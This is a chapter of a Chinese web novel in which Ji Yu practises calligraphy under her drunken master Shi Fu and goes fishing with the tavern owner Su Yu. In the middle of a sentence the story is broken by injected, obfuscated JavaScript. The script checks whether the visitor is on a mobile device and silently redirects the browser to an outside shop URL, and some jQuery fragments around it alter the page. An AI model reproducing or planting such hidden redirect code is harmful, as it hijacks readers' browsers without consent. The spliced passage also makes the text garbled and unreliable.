第二天,季与兴致冲冲地往石府赶,毫不意外地见到一身酒气的石夫。
“师父,咱好歹有点职业素养,第一天上课还喝酒。”季与忍着刺鼻的酒味说道。
“喝点酒怎么了?喝酒照样能教你。”石夫斜躺在昨天刚刚收拾出来的榻上,指挥季与,“你去将墙角木箱里的纸笔拿出来。”
季与照做,将纸铺开,研好墨,等着师父的下一步指示。
石夫晃晃悠悠地走过来,见季与握笔的姿势,锁紧了眉头,质问道:“谁教你这样拿笔的!”
季与被吓得一哆嗦,也不敢说她连握笔都没正儿八经地学过。
石夫拿起一支笔给她示范,季与连忙有样学样。
“你认字吗?”石夫冷不丁冒出来一句。
“认得。”季与不明所以地回答道。
“写个一。”
“一二三四的一?”
石夫点头。
季与在石夫的注视下,僵硬着身体,在纸上写出一个一。
石夫两眼一黑,毫不留情地说:“小时候你家没请过先生叫你习字吗?鸡用爪子在地上划出来的都比你写得强。”
季与的脸唰地一下就红了,不知道该怎么跟师父解释她其实没练过毛笔的事实。季与转动眼球,想到雪燕曾经提起的莫涵樱身世,装作可怜巴巴地说道:“我从小就父母双亡,被一户人家领去当童养媳。幸得那户人家待我还算不错,吃穿用度从未克扣过。但毕竟寄人篱下,其他的自然不敢过多奢求。我此番还是在主人外出的情况下,才得以有机会跟着师父学习。”
季与说得诚恳,石夫的脸色也有所缓和,提笔给季与做了个示范,提笔、行笔、收笔,一个苍劲有力的一,就呈现在纸上。
季与照着师父的样子,在纸上也写了一个。
石夫见状,失落地摇摇头,说道:“控笔太差、软绵无力。连一个简单的一都写不好,还想跟我学画画。你今天就给我练这个一,写到我满意为止。”
季与有心反驳,但无奈师父说的都是事实,只好按着师父的要求照做。
没成想,这一练就是一整天。季与顶着绚丽的晚霞走出石府的时候,感觉四肢都已经不属于自己了,哪哪都酸痛。
季与抬了抬站得僵直的腿,发出年久失修的声响。身体的本能驱使她往医馆的方向走去,好舒舒服服地泡个热水澡,美美地睡一觉。可走到半路,大脑就指挥着双腿往苏煜的酒肆走去。
季与环视了一圈,没见到苏煜,便问店里的伙计:“你们老板呢?”
“在后院。”伙计答道。
季与跟着伙计的指引,第一次来到酒肆的后院。院子不大,布置得也很简陋,一看就不像是经常住人的地方。但在这朴素的环境中,却有一位雍容华贵的男子在此间酿酒。
“来了?”苏煜听见身后的脚步,将一整片灼灼桃花放入罐中封好,转身去看季与,“今天练得怎么样?”
一听到这,季与立即瘫倒在椅子上,忍不住跟苏煜抱怨起来:“别提了,站了一整天。我现在是腰酸腿软,胳膊已经完全不听使唤了。你说我师父,一个整天喝得烂醉的人,盯我的时候却跟长了八双眼睛一样,每次我刚想放松一下,他就立马咳嗽一声,公鸡打鸣都没他这么精准。”
苏煜一边听着,一边叫伙计端上饭菜,手边还给季与温着酒,说道:“昨天谁说,上刀山下火海也会坚持下去的,这才第一天就受不了了?”
季与瞪了他一眼,嗔道:“我就抱怨一下,不行吗?”
“行,快吃饭吧。吃完饭喝点酒,这酒有活血的功效,明天起来就不疼了。”苏煜说。
季与狐疑地看向温着的那壶酒,问:“有这么神奇?”
“祖传秘方。”
“你亲手酿的?”
“自然。秘方是不传外人的。”
“是不是还有传男不传女的规定?”季与夹起一口菜送进嘴里,一板一眼地点评道,“所以呢,很多秘方都是这样失传的,为了守着自己那一滩水洼,放弃一整片汪洋。”
“有道理。”苏煜的眼睑落下一片阴霾,失不失传的他根本就不在意。这酒是他在神医谷的时候学的,自从他被赶出谷后,他没有一天不想着让神医谷销声匿迹。
“所以要不要教教我?”季与狡黠地冲苏煜眨了眨眼睛。
苏煜笑着指了指季与的身后,说道:“狐狸尾巴露出来了。”
季与故作惊讶地向后捂住,给苏煜来了个无实物表演,调皮道:“糟糕,被你看到了吗?我这就把它收起来。”
苏煜看着眼前和莫涵樱长得一模一样的人,内心却越来越笃定,她不是莫涵樱,不过只要苏焰当她是就行。
不知是因为面具的遮挡还是季与的注意力全都在吃喝上,季与并未看到苏煜眼中的阴鸷。一顿饭,吃得季与那叫一个身心舒畅,从奄奄一息的状态下,满血复活。
只是复活没多久,天一亮,季与又会遭受师父新一轮的蹂躏。
季与在坚持和放弃之间反复摇摆。每次她觉得自己有进步,想得到师父的夸赞时,师父总会冷着脸否定她。可同时季与也渐渐地发现,师父对她也并非全是嫌弃和不满,石府也在悄无声息地发生着变化。
师父会在她高强度站立时,睁一只眼闭一只眼地允许她坐一会,甚至还放了一个软垫。起初,她以为是阿福拿来的,问过阿福后,才知道是师父趁她不在时,随手放上去的。
她刚来的那几天,师父除了喝酒便是睡觉,最近在阿福的带动下,竟也在她独自练习的时候,打扫起了院子。
偌大的石府,谈不上焕然一新,但在一天天的微小变动下,一扫往日的颓然衰败之势,显露出带着生机的生活气息。
季与将这些都看在眼里,却始终拿不准师父的态度,只能在师父的疾言厉色下顶着高压做一个乖巧努力且上进的学生。
就这样过了一旬,石夫难得给季与放了一天假。季与原本的计划是睡上一整天,却被生物钟在一大早叫醒。突然闲下来的季与感到无所适从,抬脚就往苏煜的酒肆走去。
在见到苏煜后,季与晃动着手里的东西,得意向苏煜炫耀道:“苏老板,看我给你带了什么?”
苏煜惊讶了一下,第一个反应是问:“你今天不用去石府?”
在得到肯定的回答后,苏煜接过季与手里的弹弓,问:“你从哪弄来的?”
季与挑了一下眉,骄傲地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16796323|190651||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
说道:“来的路上,跟两个小男孩打赌赢来的。你今天有空吗,出去玩?”
苏煜笑着点头答应。
两人一同来到郊外的空地,春光明媚,鸟语花香,旁边还有一条小溪穿流而过。
季与伸个懒腰,贪婪地呼吸着清新自由的空气,在抬头的瞬间,看见有片树叶挂在树梢,摇摇欲坠。季与兴起,指着那片叶子对苏煜说:“让你看看我的技术。”
季与弯腰捡起一块小石子,拉起弹弓,对准那片叶子,将石子弹射出去。
石子在半空中划过,那片摇摇欲坠的叶子依旧在摇摇欲坠着。季与尴尬地笑了笑,表示:“太久没玩,手都生疏了。”
其实,季与的真实水平就是表现出来的那样,根本谈不上手生,只是面子上过不去才这么说。
“我试试。”苏煜也捡起一块石子,朝那片树叶打过去,那片树叶依旧挂在树上,中间却被穿了个洞。
季与张大嘴巴,震惊道:“苏老板,深藏不露啊。”
“要不要再玩点刺激的?”苏煜问。
“什么?什么?”季与被激起玩心,凑到苏煜跟前,眨巴着眼睛,兴奋地问。
苏煜走到小溪边,溪水涓涓流过,流速并不慢。清澈见底的溪水中,偶尔有三五条鱼游过。
“你要抓鱼?”季与不可置信道。
“不信我?”苏煜挑眉反问。
季与脱下鞋,挽起裤脚,用实际行动回答了苏煜。季与下水的时候,被溪水冰得一个激灵,适应后,慢慢地往小溪中间走去,找到位置站稳后,冲着苏煜喊道:“你打,我来抓。”
接收到指令,苏煜屏气凝神,瞄准季与身前不远处的鱼,直接就是一记迎头重击,当场翻了肚皮。
季与趁着鱼还没有顺流而下,眼疾手快地将它捞了起来。
季与用双手将鱼紧紧抓住,举在头顶,跟苏煜炫耀:“抓到了。”
不料,这条鱼并不肯就此接受自己的命运,拼命挣扎起来,甩了季与一脸水。
“小心。”苏煜见季与身形不稳,急忙喊道,身体本能朝季与的方向走去。
这条鱼在季与手里辗转腾挪,依旧没能挣脱开。季与站稳后,捏着鱼走到岸边,给苏煜回了个爽朗的笑,回道:“没事。就是这鱼怎么处理,早知道就拿个筐子过来了。”
“给我吧。”苏煜将鱼接过,挑了个柔软的树枝,三下五除二地就将鱼挂了起来。
季与擦了一把脸上的水,说道:“我还以为你是十指不沾阳春水的少爷,没想到连这个都会。苏老板,你还有多少惊喜是我不知道的?”
“比你想象得要多的多。”苏煜蹲下身,让带着凉意的溪水冲洗干净手上的膻腥,“要继续吗?”
“来。”季与做了一个放马过来的手势。
一晌的时间,两个人就弄到三条大鱼。季与在回去的路上,得意洋洋地提溜着手中的鱼,给他们安排好接下来的宿命:“这条头大,适合做剁椒鱼头,这条就做个烤鱼吧,剩下这条小的,就给师父送去,孝敬他老人家。”
就在说话间,季与看见师父手上提着什么东西,步履沉重地往小镇外的方向走去。
师父这是要干什么去?